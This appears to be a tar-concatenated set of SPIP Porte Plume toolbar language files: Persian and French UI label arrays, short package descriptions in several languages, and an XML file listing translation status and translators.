'barre_gestion_cr_entier' => 'Mot entier',
'barre_gestion_cr_remplacer' => 'Remplacer',
'barre_gestion_cr_tout' => 'Tout remplacer',
'barre_gestion_entete' => 'En-tête',
'barre_gestion_ligne' => 'Nb lignes',
'barre_gestion_taille' => 'Taille fixe',
'barre_glossaire' => 'Entrée du [?glossaire] (Wikipedia)',
'barre_gras' => 'Mettre en {{gras}}',
'barre_guillemets' => 'Entourer de « guillemets »',
'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”',
'barre_indenter' => 'Indenter une liste',
'barre_inserer_cadre' => 'Insérer un code préformaté (cadre)',
'barre_inserer_caracteres' => 'Insérer des caractères spécifiques',
'barre_inserer_code' => 'Insérer un code informatique (code)',
'barre_intertitre' => 'Transformer en {{{intertitre}}}',
'barre_italic' => 'Mettre en {italique}',
'barre_langue' => 'Langue abrégée',
'barre_lien' => 'Transformer en [lien hypertexte->http://...]',
'barre_lien_externe' => 'Lien externe',
'barre_lien_input' => 'Veuillez indiquer l’adresse de votre lien (vous pouvez indiquer une adresse Internet sous la forme http://www.monsite.com, une adresse courriel, ou simplement indiquer le numéro d’un article de ce site.',
'barre_liste_ol' => 'Mettre en liste numérotée',
'barre_liste_ul' => 'Mettre en liste',
'barre_lorem_ipsum' => 'Insérer un paragraphe factice',
'barre_lorem_ipsum_3' => 'Insérer trois paragraphes factices',
'barre_miseenevidence' => 'Mettre le texte en [*évidence*]',
'barre_note' => 'Transformer en [[Note de bas de page]]',
'barre_paragraphe' => 'Créer un paragraphe',
'barre_petitescapitales' => 'Mettre le texte en <sc>petites capitales</sc>',
'barre_poesie' => 'Mettre en forme comme une <poesie>poésie</poesie>',
'barre_preview' => 'Mode prévisualisation',
'barre_quote' => '<quote>Citer un message</quote>',
'barre_stats' => 'Afficher les statistiques du texte',
'barre_tableau' => 'Insérer/modifier (le sélectionner avant) un tableau',
// C
'config_info_enregistree' => 'Configuration sauvegardée',
// E
'editer' => 'Éditer',
'explication_barre_outils_public' => 'Les scripts CSS et Javascript des barre d’outils
(extension Porte Plume) sont chargés sur l’espace public
et permettent d’utiliser ces barres sur les formulaires de forums,
les crayons publics ou pour d’autres plugins, si leurs configurations
respectives le permettent.',
'explication_barre_outils_public_2' => 'Vous pouvez choisir de ne pas charger
ces scripts afin d’alléger le poids des pages publiques.
Dès lors quelle que soit la configuration des forums, crayons ou plugin,
aucune barre d’outils du Porte Plume ne pourra être
présente automatiquement sur l’espace public.',
// I
'info_barre_outils_public' => 'Barre d’outils publique',
'info_porte_plume_titre' => 'Configurer les barres d’outils',
// L
'label_barre_outils_public_non' => 'Ne pas charger les scripts de barre d’outils sur l’espace public',
'label_barre_outils_public_oui' => 'Charger les scripts de barre d’outils sur l’espace public',
// V
'voir' => 'Voir'
);
?>
barreoutils_fa.php 0000666 00000014777 15252577465 0010324 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/barreoutils?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'گنجاندن يك A بزرگ با آكسان گراو',
'barre_adresse' => 'آدرس',
'barre_aide' => 'استفاده از ميانبرهاي حروفنگاري براي بهبود صفحهآرايي ',
'barre_alignerdroite' => 'پارگراف [/راستچين/]',
'barre_ancres' => 'مديريت نقطه لنگرها',
'barre_barre' => 'خط زدن متن ',
'barre_bulle' => 'ابزار نكته',
'barre_c_cedille_maj' => 'گنجانن يك C سدي بزرگ',
'barre_cadre' => 'قرار دادن يك <cadre>جاي متن </cadre>',
'barre_caracteres' => 'كاراكترهاي ويژه',
'barre_centrer' => 'پارگراف [[وسط چين]]',
'barre_chercher' => 'جستجوي جايگزين',
'barre_clean' => 'پاك كردن كد تمام برچسبهاي اچ.تي.ام.ال',
'barre_code' => 'تبديل به فرم <code>كد انفورماتيك</code>',
'barre_desindenter' => 'حذف تورفتگي يك فهرست',
'barre_e_accent_aigu' => 'گنحاندن يك E بزرگ با آكسان اگو',
'barre_e_accent_grave' => 'گنجاندن يك E بزرگ با آكسان گراو',
'barre_ea' => 'گنجاندن يك E در يك A',
'barre_ea_maj' => 'گنجاندن يك E در يك A بزرگ',
'barre_encadrer' => '[(در كادر گذاري)] پارگراف',
'barre_eo' => 'گنجاندن يك E در يك I',
'barre_eo_maj' => 'گنجاندن يكE در يك O',
'barre_euro' => 'گنحاندن سمبل €',
'barre_exposant' => 'گذاشتن متن در<sup> انديس بالا </sup>',
'barre_formatages_speciaux' => 'فرمت سازي ويژه',
'barre_galerie' => 'باز كردن گالري',
'barre_gestion_anc_bulle' => 'ابزار نكتهي ديگر',
'barre_gestion_anc_caption' => 'مديريت نقطه لنگرها',
'barre_gestion_anc_cible' => 'نقطه لنگر هدف',
'barre_gestion_anc_inserer' => 'نبديل به نقطه لنگر',
'barre_gestion_anc_nom' => 'نام نقطه لنگر',
'barre_gestion_anc_pointer' => 'اشاره به يك نقطه لنگر ',
'barre_gestion_caption' => 'شرح و خلاصه',
'barre_gestion_colonne' => 'شماره ستونها',
'barre_gestion_cr_casse' => 'تطابق حالت',
'barre_gestion_cr_changercasse' => 'تغيير حالت',
'barre_gestion_cr_changercassemajuscules' => 'تبديل به حرف بزرگ ',
'barre_gestion_cr_changercasseminuscules' => 'تبديل به حرف بزرگ',
'barre_gestion_cr_chercher' => 'جستجو',
'barre_gestion_cr_entier' => 'كلمهي كامل ',
'barre_gestion_cr_remplacer' => 'جايگزيني',
'barre_gestion_cr_tout' => 'جايگزيني همه',
'barre_gestion_entete' => 'سرصفحه',
'barre_gestion_ligne' => 'بدون پيوند',
'barre_gestion_taille' => 'اندازه ثابت ',
'barre_glossaire' => 'مدخل [فرهنگ لغت؟] (ويكيپديا)',
'barre_gras' => '{{بولد}} سازي',
'barre_guillemets' => 'در «گيومه» گذاشتن',
'barre_guillemets_simples' => 'در "تك گيومه" گذاشتن',
'barre_indenter' => 'تورفتگي يك فهرست',
'barre_inserer_cadre' => 'كنجاندن يك كد پيش فرمت شده (cadre)',
'barre_inserer_caracteres' => 'گنجاندن كارآكترهاي ويژه',
'barre_inserer_code' => 'گنحاندن يك كد افنورماتيك (code)',
'barre_intertitre' => 'تبديل به {{ميانتيتر}}',
'barre_italic' => '{{ايرانيك}}سازي',
'barre_langue' => 'زبان اختصاري',
'barre_lien' => 'تبديل به [پيوند هايپرتكس ->http://...[',
'barre_lien_externe' => 'پيوند بيروني',
'barre_lien_input' => 'لطفاً نشاني پيوند خود را وارد كنيد (ميتوانيد يك نشاني اينترنت با فرمت http://www.monsite.com وارد كنيد، يا يك نشاني ايميل، يا خيلي ساده، شمارهي مقالهي اين سايت را وارد كنيد). ',
'barre_liste_ol' => 'تبيدل يه ليست شماره دار',
'barre_liste_ul' => 'تبديل به فهرست كردن',
'barre_lorem_ipsum' => 'گنجاندن يك پارگراف بدلي ',
'barre_lorem_ipsum_3' => 'گنجاندن سه پارگراف بدلي ',
'barre_miseenevidence' => 'پررنگ سازي*] متن*] ',
'barre_note' => 'تبديل به [[پانويس]]',
'barre_paragraphe' => 'ايجاد يك پارگراف',
'barre_petitescapitales' => 'تبديل متن به <sc>حروف كاپيتال كوچك</sc>',
'barre_poesie' => 'ويرايش به مانند <شعر>شعر</شعر>',
'barre_preview' => 'حالت پيشنمايش ',
'barre_quote' => '<quote>نقل قول</quote>',
'barre_stats' => 'نمايش آمارهاي متن ',
'barre_tableau' => 'گنحاندن/اصلاح كردن (انتخاب از پيش) يك جدول ',
// C
'config_info_enregistree' => 'پيكربندي ثبت شده',
// E
'editer' => 'ويرايش',
'explication_barre_outils_public' => 'سي.اس.اس و جاوااسكريپتز براي نوار ابزارها (چوب قلم) در صفحهيه همگاني سايت بارگذاري ميشوند و براي نوارابزارهاي سخنگاهها، مدادهاي همگاني يا ساير پلاگينها را تأمين ميكنند در صورتي كه پيكربندي مربوطه اجازهي اين كار را بدهد.
',
'explication_barre_outils_public_2' => 'ميتوانيد براي سبك كردن صفحههاي همگاني اين نويسهها (اسكريپتها) را بارگذاري نكنيد.
در نتيجه پيكربندي سخنگاهها، مدادها و پلاگين، هرچه باشد نوارابزار چوب قلم به طور خودكار در فضاي همگاني ظاهر نخواهد شد. ',
// I
'info_barre_outils_public' => 'نوارابزارهاي همگاني ',
'info_porte_plume_titre' => 'پيكربندي نوارابزارها',
// L
'label_barre_outils_public_non' => 'بارگذاري نكردن نويسههاي نوارابزارها در فضاي همگاني ',
'label_barre_outils_public_oui' => 'بارگذاري نويسههاي نوارابزارها در فضاي همگاني',
// V
'voir' => 'ديدن'
);
?>
barreoutils.xml 0000666 00000006371 15252577465 0007656 0 ustar 00 <traduction module="barreoutils" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/porte_plume/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=ar" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=de" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=en" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=es" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="alf" lien="http://trad.spip.net/auteur/alf" />
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=fa" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=fr" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=fr_fem" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=it" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cap" lien="http://trad.spip.net/auteur/cap" />
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=nl" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=pt" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=ru" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/barreoutils?lang_cible=sk" total="81" traduits="81" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-porte_plume_nl.php 0000666 00000001104 15252577465 0011620 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Penhouder is een rekbare werkbalk voor SPIP die gebruik van [MarkItUp->http://markitup.jaysalvat.com/home/] javascript library maakt.',
'porte_plume_nom' => 'Penhouder',
'porte_plume_slogan' => 'Een penhouder om mooi te schrijven'
);
?>
paquet-porte_plume_sk.php 0000666 00000001170 15252577465 0011627 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'Porte plume je rozšíriteľný panel s nástrojmi pre SPIP, ktorý využíva javascriptovú knižnicu [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'Porte plume',
'porte_plume_slogan' => 'Panel s nástrojmi, vďaka ktorému môžete vylepšiť svoje texty'
);
?>
paquet-porte_plume_en.php 0000666 00000001060 15252577465 0011612 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'The Quill is a SPIP extensible toolbar which uses the [MarkItUp->http://markitup.jaysalvat.com/home/] javascript library.',
'porte_plume_nom' => 'Quill',
'porte_plume_slogan' => 'A toolbar to enhance your texts'
);
?>
barreoutils_fr.php 0000666 00000012451 15252577465 0010330 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/porte_plume/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'barre_a_accent_grave' => 'Insérer un À',
'barre_adresse' => 'Adresse',
'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page',
'barre_alignerdroite' => '[/Aligne à droite/] le paragraphe',
'barre_ancres' => 'Gestion des ancres',
'barre_barre' => 'Barrer le texte',
'barre_bulle' => 'Bulle d’aide',
'barre_c_cedille_maj' => 'Insérer un Ç',
'barre_cadre' => 'Placer dans une <cadre>zone de saisie de texte</cadre>',
'barre_caracteres' => 'Caractères spéciaux',
'barre_centrer' => '[|Centrer|] le paragraphe',
'barre_chercher' => 'Chercher Remplacer',
'barre_clean' => 'Nettoyer le code de toutes les balises HTML',
'barre_code' => 'Mettre en forme un <code>code informatique</code>',
'barre_desindenter' => 'Désindenter une liste',
'barre_e_accent_aigu' => 'Insérer un É',
'barre_e_accent_grave' => 'Insérer un È',
'barre_ea' => 'Insérer un æ',
'barre_ea_maj' => 'Insérer un Æ',
'barre_encadrer' => '[(Encadrer)] le paragraphe',
'barre_eo' => 'Insérer un œ',
'barre_eo_maj' => 'Insérer un Œ',
'barre_euro' => 'Insérer le symbole €',
'barre_exposant' => 'Mettre le texte en <sup>exposant</sup>',
'barre_formatages_speciaux' => 'Formatages spéciaux',
'barre_galerie' => 'Ouvrir la galerie',
'barre_gestion_anc_bulle' => 'Bulle d’aide ancre',
'barre_gestion_anc_caption' => 'Gestion des ancres',
'barre_gestion_anc_cible' => 'Ancre cible',
'barre_gestion_anc_inserer' => 'Transformer en ancre',
'barre_gestion_anc_nom' => 'Nom de l’ancre',
'barre_gestion_anc_pointer' => 'Pointer vers une ancre',
'barre_gestion_caption' => 'Légende et Résumé',
'barre_gestion_colonne' => 'Nb colonnes',
'barre_gestion_cr_casse' => 'Respecter la casse',
'barre_gestion_cr_changercasse' => 'Changer la casse',
'barre_gestion_cr_changercassemajuscules' => 'Passer en majuscules',
'barre_gestion_cr_changercasseminuscules' => 'Passer en minuscules',
'barre_gestion_cr_chercher' => 'Chercher',
'barre_gestion_cr_entier' => 'Mot entier',
'barre_gestion_cr_remplacer' => 'Remplacer',
'barre_gestion_cr_tout' => 'Tout remplacer',
'barre_gestion_entete' => 'En-tête',
'barre_gestion_ligne' => 'Nb lignes',
'barre_gestion_taille' => 'Taille fixe',
'barre_glossaire' => 'Entrée du [?glossaire] (Wikipedia)',
'barre_gras' => 'Mettre en {{gras}}',
'barre_guillemets' => 'Entourer de « guillemets »',
'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”',
'barre_indenter' => 'Indenter une liste',
'barre_inserer_cadre' => 'Insérer un code préformaté (cadre)',
'barre_inserer_caracteres' => 'Insérer des caractères spécifiques',
'barre_inserer_code' => 'Insérer un code informatique (code)',
'barre_intertitre' => 'Transformer en {{{intertitre}}}',
'barre_italic' => 'Mettre en {italique}',
'barre_langue' => 'Langue abrégée',
'barre_lien' => 'Transformer en [lien hypertexte->http://...]',
'barre_lien_externe' => 'Lien externe',
'barre_lien_input' => 'Veuillez indiquer l’adresse de votre lien (vous pouvez indiquer une adresse Internet sous la forme http://www.monsite.com, une adresse courriel, ou simplement indiquer le numéro d’un article de ce site.',
'barre_liste_ol' => 'Mettre en liste numérotée',
'barre_liste_ul' => 'Mettre en liste',
'barre_lorem_ipsum' => 'Insérer un paragraphe factice',
'barre_lorem_ipsum_3' => 'Insérer trois paragraphes factices',
'barre_miseenevidence' => 'Mettre le texte en [*évidence*]',
'barre_note' => 'Transformer en [[Note de bas de page]]',
'barre_paragraphe' => 'Créer un paragraphe',
'barre_petitescapitales' => 'Mettre le texte en <sc>petites capitales</sc>',
'barre_poesie' => 'Mettre en forme comme une <poesie>poésie</poesie>',
'barre_preview' => 'Mode prévisualisation',
'barre_quote' => '<quote>Citer un message</quote>',
'barre_stats' => 'Afficher les statistiques du texte',
'barre_tableau' => 'Insérer/modifier (le sélectionner avant) un tableau',
// C
'config_info_enregistree' => 'Configuration sauvegardée',
// E
'editer' => 'Éditer',
'explication_barre_outils_public' => 'Les scripts CSS et Javascript des barre d’outils
(extension Porte Plume) sont chargés sur l’espace public
et permettent d’utiliser ces barres sur les formulaires de forums,
les crayons publics ou pour d’autres plugins, si leurs configurations
respectives le permettent.',
'explication_barre_outils_public_2' => 'Vous pouvez choisir de ne pas charger
ces scripts afin d’alléger le poids des pages publiques.
Dès lors quelle que soit la configuration des forums, crayons ou plugin,
aucune barre d’outils du Porte Plume ne pourra être
présente automatiquement sur l’espace public.',
// I
'info_barre_outils_public' => 'Barre d’outils publique',
'info_porte_plume_titre' => 'Configurer les barres d’outils',
// L
'label_barre_outils_public_non' => 'Ne pas charger les scripts de barre d’outils sur l’espace public',
'label_barre_outils_public_oui' => 'Charger les scripts de barre d’outils sur l’espace public',
// V
'voir' => 'Voir'
);
?>
paquet-porte_plume_ar.php 0000666 00000001154 15252577465 0011616 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-porte_plume?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// P
'porte_plume_description' => 'الريشة هي شريط أدوات موسع لنظام SPIP يستخدم مكتبة جافاسكريبت [MarkItUp->http://markitup.jaysalvat.com/home/]',
'porte_plume_nom' => 'الريشة',
'porte_plume_slogan' => 'شريط أدوات لتحسين الكتابة'
);
?>